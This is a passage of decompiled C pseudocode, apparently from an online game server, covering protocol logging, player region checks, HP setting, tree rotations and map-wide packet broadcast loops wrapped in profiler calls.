*netcmd, SHINE_XY_TYPE *coord) { ProtocolLogger *v3; // esi@1 int v4; // ecx@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->pl_NetCommand[v3->pl_Pointer].cmd.protocol = netcmd->protocol; v3->pl_NetCommand[v3->pl_Pointer].tick = clockwatch.cw_CurrTick; v4 = v3->pl_Pointer; v3->pl_NetCommand[v4].locate.x = coord->x; v3->pl_NetCommand[v4].locate.y = coord->y; v3->pl_Pointer = (v3->pl_Pointer + 1) & 0xF; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); } //----- (004FB890) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this) { ProtocolLogger *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->pl_NetCommand[0].cmd; v3 = 16; do { *(_WORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); v1->pl_Pointer = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); } //----- (004FB900) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LastProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ProtocolLogger::pl_Store((ProtocolLogger *)((char *)v2 + 92288), netcmd, *(SHINE_XY_TYPE **)((char *)v2 + 78)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); } //----- (004FB9B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this) { void *v1; // esi@1 int v2; // ebp@1 int v3; // eax@1 int v4; // eax@3 int v5; // eax@8 unsigned int v6; // eax@10 int v7; // eax@13 int v8; // edi@13 int v9; // ST18_4@13 int v10; // ST10_4@13 int v11; // ST08_4@13 DebugLogging *v12; // eax@13 DebugLogging *v13; // eax@13 DebugLogging *v14; // eax@13 DebugLogging *v15; // eax@13 DebugLogging *v16; // eax@13 DebugLogging *v17; // eax@13 DebugLogging *v18; // eax@13 FunctionEntarance _; // [sp+0h] [bp-14h]@1 unsigned int v20; // [sp+4h] [bp-10h]@15 int v21; // [sp+10h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *(_DWORD *)((char *)v1 + 98); v21 = 0; if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); if ( !(_S104_0 & 1) ) { _S104_0 |= 1u; *(_QWORD *)&elderine.n3_name[4] = 0i64; *(_DWORD *)&elderine.n3_name[0] = 0; strncpy( elderine.n3_name, (const char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, 0xCu); atexit(_E105_0); } if ( *(_QWORD *)v4 == *(_QWORD *)&elderine && *(_DWORD *)(v4 + 8) == *(_DWORD *)&elderine.n3_name[8] ) { v5 = *(_DWORD *)((char *)v1 + 78); if ( *(_DWORD *)v5 >= 0x1770u ) { if ( *(_DWORD *)v5 <= 0x4E20u ) { v6 = *(_DWORD *)(v5 + 4); if ( v6 >= 0x1770 ) { if ( v6 <= 0x4E20 ) { v21 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_15; } } } } v7 = *(_DWORD *)((char *)v1 + 78); v8 = clockwatch.cw_CurrTick; v9 = *(_DWORD *)(v7 + 4); v10 = *(_DWORD *)v7; v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v12 = DebugLogging::operator<<(&EldLocateLog, v8); v13 = DebugLogging::operator<<(v12, ":"); v14 = DebugLogging::operator<<(v13, v11); v15 = DebugLogging::operator<<(v14, " "); v16 = DebugLogging::operator<<(v15, v10); v17 = DebugLogging::operator<<(v16, (char *)&stru_5AB5B0); v18 = DebugLogging::operator<<(v17, v9); DebugLogging::operator<<(v18, &deb_LF); ProtocolLogger::pl_Logging((ProtocolLogger *)((char *)v1 + 92288)); DebugLogging::operator<<(&EldLocateLog, &deb_LF); } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); goto LABEL_15; } funcallanalizer.fca_stackpoint = v2 - 1; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); LABEL_15: __security_check_cookie(v20); } //----- (004FBBC0) -------------------------------------------------------- void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs) { ListCheckStruct *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListCheckStruct::lcs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->lcs_ListCheck[0] = lcs->lcs_ListCheck[0] - 1; v2->lcs_ListCheck[1] = lcs->lcs_ListCheck[1] - 1; v2->lcs_ListCheck[2] = lcs->lcs_ListCheck[2] - 1; v2->lcs_ListCheck[3] = lcs->lcs_ListCheck[3] - 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); } //----- (004FBC30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SlantedListCheck(void *this) { void *v1; // esi@1 unsigned int v2; // ecx@1 DebugLogging *v3; // eax@2 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SlantedListCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)((char *)v1 + 4 * g_BroadcastStackPoint + 62) == v2 ) { v3 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); DebugLogging::operator<<(v3, &deb_LF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); result = 0; } else { *(_DWORD *)((char *)v1 + 4 * g_BroadcastStackPoint + 62) = v2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SlantedListCheck"); result = 1; } return result; } // 601970: using guessed type int g_BroadcastStackPoint; //----- (004FBD20) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); } //----- (004FBD70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; *((_DWORD *)v2 + 1854) = hp; if ( *((_DWORD *)v2 + 1854) > (unsigned int)(*(int (__thiscall **)(void *))(v3 + 1244))(v2) ) *((_DWORD *)v2 + 1854) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); } //----- (004FBE30) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004FBE90) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004FBEF0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004FBF40) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 SlantedCoordList::CoordedNode *v2; // eax@1 SlantedCoordList::CoordedNode *v3; // eax@7 char result; // al@9 int v5; // [sp-4h] [bp-8h]@3 v1 = this; v2 = this->cn_next; if ( this->cn_prev ) { if ( !v2 ) { v5 = 1; goto LABEL_6; } } else { if ( v2 ) { v5 = 0; LABEL_6: AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_RemoveList : asymmetry linkage", v5); goto LABEL_7; } } LABEL_7: v3 = v1->cn_prev; if ( v3 != v1 || v1->cn_next != v1 ) { v3->cn_next = v1->cn_next; v1->cn_next->cn_prev = v1->cn_prev; SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_prev); SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_next); v1->cn_prev = v1; v1->cn_next = v1; result = 1; } else { result = 0; } return result; } //----- (004FBFB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Unmark"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 784))(v4); if ( logoutpacket ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1288))(v4); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 22)); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); } //----- (004FC070) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *((_WORD *)v1 + 2); v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); } //----- (004FC160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast4ItemPickUp alchat; // [sp+10h] [bp-18h]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *(_WORD *)&v1->gap0[4]; v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)&v1->gap0[98] + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); } //----- (004FC250) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, int nRange) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 v3 = (void *)this; v4 = *(_DWORD *)(this + 78); v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); return ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, nRange, 0, ala, 1, 65535); } //----- (004FC280) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a3, int a4, int a5, char tome) { int v6; // edi@1 char v7; // al@2 DebugLogging *v8; // eax@3 int v9; // edx@11 int v10; // esi@11 bool v11; // zf@12 bool v12; // sf@12 unsigned __int8 v13; // of@12 int v14; // eax@15 int v15; // eax@17 int v16; // eax@21 char v17; // bl@24 DebugLogging *v18; // eax@26 DebugLogging *v20; // esi@33 _iobuf *v21; // eax@36 char *v22; // [sp-Ch] [bp-28h]@10 char *v23; // [sp-8h] [bp-24h]@25 v6 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( g_BroadcastStackPoint >= 3 ) { v8 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v8, &deb_LF); v7 = 0; } else { ++g_BroadcastStackPoint; v7 = 1; } if ( !v7 ) { LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v22 = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; LABEL_32: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); return 0; } if ( (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v6 + 26) + 4) + 1572))() == v6 && (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v6 + 30) + 4) + 1572))() == v6 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); goto LABEL_8; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v9 = **(_DWORD **)(**(_DWORD **)(v6 + 38) + 4); loop = 0; v10 = (*(int (**)(void))(v9 + 1572))(); if ( v10 ) { while ( 1 ) { v13 = __OFSUB__(loop + 1, 10000); v11 = loop == 9999; v12 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v12 ^ v13) | v11) ) { v18 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v18, &deb_LF); goto LABEL_29; } if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v10) ) goto LABEL_29; if ( v10 == (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 26) + 4) + 1572))() ) break; v14 = ShineObjectClass::ShineObject::so_DistanceSquar(v6, v10); if ( !(unsigned __int8)axialfunc(a3 + v10, v6, v14) ) goto LABEL_29; v10 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 38) + 4) + 1572))(); if ( !v10 ) goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v10 + 2116))(v10, 1); v23 = "AllInMap0"; LABEL_28: MapRearrangeObserver::mro_Set(&maprearrangeobserver, v23); FieldMap::fm_Relink(*(_DWORD *)(v10 + 98)); goto LABEL_29; } LABEL_17: v15 = **(_DWORD **)(**(_DWORD **)(v6 + 42) + 4); loop = 0; v10 = (*(int (**)(void))(v15 + 1572))(); if ( v10 ) { while ( 1 ) { v13 = __OFSUB__(loop + 1, 10000); v11 = loop == 9999; v12 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v12 ^ v13) | v11) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v10) ) goto LABEL_29; if ( !(v10 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v10 + 2116))(v10, 1); v23 = "AllInMap1"; goto LABEL_28; } v16 = ShineObjectClass::ShineObject::so_DistanceSquar(v6, v10); if ( !(unsigned __int8)axialfunc(a3 + v10, v6, v16) ) goto LABEL_29; v10 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v10 + 42) + 4) + 1572))(); if ( !v10 ) goto LABEL_23; } v20 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v20->dl_Activ && v20->dl_FilePointer ) { v21 = DebugLogging::dl_FilePoint(v20); fputc(10, v21); fflush(v20->dl_FilePointer); fclose(v20->dl_FilePointer); v20->dl_FilePointer = 0; } LABEL_29: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v22 = "ShineObjectClass::ShineObject::so_AllInMapNomal2"; goto LABEL_32; } LABEL_23: if ( tome ) v17 = axialfunc(a3 + v6, v6, 0); else v17 = 1; if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal2"); return v17; } // 445A80: using guessed type int __thiscall FieldMap__fm_Relink(_DWORD); // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 601970: using guessed type int g_BroadcastStackPoint; //----- (004FC630) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMapNomal(void *this, int ala, char tome) { int v3; // edi@1 signed int v4; // ebp@1 char v5; // al@2 DebugLogging *v6; // eax@3 int v7; // edx@11 int v8; // esi@11 bool i; // zf@11 bool v10; // sf@13 unsigned __int8 v11; // of@13 int (__thiscall **v12)(_DWORD, _DWORD, _DWORD, _DWORD); // ebp@16 int v13; // eax@16 DebugLogging *v14; // eax@19 int v15; // eax@23 int v16; // eax@23 int (__thiscall **v17)(_DWORD, _DWORD, _DWORD, _DWORD); // ebp@28 int v18; // eax@28 DebugLogging *v19; // esi@32 _iobuf *v20; // eax@35 char v22; // bl@41 char *v23; // [sp-10h] [bp-28h]@10 char *v24; // [sp-Ch] [bp-24h]@18 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( g_BroadcastStackPoint >= 3 ) { v6 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v6, &deb_LF); v5 = 0; } else { ++g_BroadcastStackPoint; v5 = 1; } if ( !v5 ) goto LABEL_8; if ( (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v3 + 26) + 4) + 1572))() == v3 && (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v3 + 30) + 4) + 1572))() == v3 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v23 = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; LABEL_39: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); return 0; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v7 = **(_DWORD **)(**(_DWORD **)(v3 + 38) + 4); loop = 0; v8 = (*(int (**)(void))(v7 + 1572))(); for ( i = v8 == 0; !i; i = v8 == 0 ) { v11 = __OFSUB__(loop + 1, 10000); i = loop == 9999; v10 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v10 ^ v11) | i) ) { v14 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v14, &deb_LF); goto LABEL_20; } if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v8) ) goto LABEL_20; if ( !(v8 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 2116))(v8, 1); v24 = "AllInMap2"; LABEL_31: MapRearrangeObserver::mro_Set(&maprearrangeobserver, v24); FieldMap::fm_Relink(*(_DWORD *)(v8 + 98)); LABEL_20: if ( g_BroadcastStackPoint > v4 ) --g_BroadcastStackPoint; LABEL_38: v23 = "ShineObjectClass::ShineObject::so_AllInMapNomal3"; goto LABEL_39; } v12 = *(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala; v13 = ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8); if ( !(unsigned __int8)(*v12)(ala, v3, v8, v13) ) { LABEL_36: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; goto LABEL_38; } v8 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 38) + 4) + 1572))(); v4 = -1; } v15 = **(_DWORD **)(**(_DWORD **)(v3 + 42) + 4); loop = 0; v16 = (*(int (**)(void))(v15 + 1572))(); while ( 1 ) { v8 = v16; if ( !v16 ) break; v11 = __OFSUB__(loop + 1, 10000); i = loop == 9999; v10 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v10 ^ v11) | i) ) { v19 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v19->dl_Activ && v19->dl_FilePointer ) { v20 = DebugLogging::dl_FilePoint(v19); fputc(10, v20); fflush(v19->dl_FilePointer); fclose(v19->dl_FilePointer); v19->dl_FilePointer = 0; } goto LABEL_20; } if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v16) ) goto LABEL_20; if ( !(v8 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRange", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v8 + 2116))(v8, 1); v24 = "AllInMap3"; goto LABEL_31; } v17 = *(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala; v18 = ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8); if ( !(unsigned __int8)(*v17)(ala, v3, v8, v18) ) goto LABEL_36; v16 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v8 + 42) + 4) + 1572))(); v4 = -1; } if ( tome ) v22 = (**(int (__thiscall ***)(_DWORD, _DWORD, _DWORD, _DWORD))ala)(ala, v3, v3, 0); else v22 = 1; if ( g_BroadcastStackPoint > v4 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMapNomal3"); return v22; } // 445A80: using guessed type int __thiscall FieldMap__fm_Relink(_DWORD); // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 601970: using guessed type int g_BroadcastStackPoint; //----- (004FCA00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int ala, char tome, __int16 excepter) { void *v8; // ebp@1 char v9; // al@2 DebugLogging *v10; // eax@3 int v11; // edi@13 int v12; // edx@13 int v13; // ebx@13 int v14; // esi@13 bool v15; // zf@15 bool v16; // sf@15 unsigned __int8 v17; // of@15 int v18; // edx@19 int v19; // esi@19 int v20; // eax@25 int v21; // esi@25 int v22; // ebp@30 int v23; // edi@30 int v24; // eax@34 int v25; // eax@37 DebugLogging *v26; // eax@39 DebugLogging *v27; // esi@45 _iobuf *v28; // eax@48 int v29; // ecx@50 DebugLogging *v30; // esi@58 int v31; // eax@62 int v32; // ebp@62 int v33; // edi@67 int v34; // edx@67 int 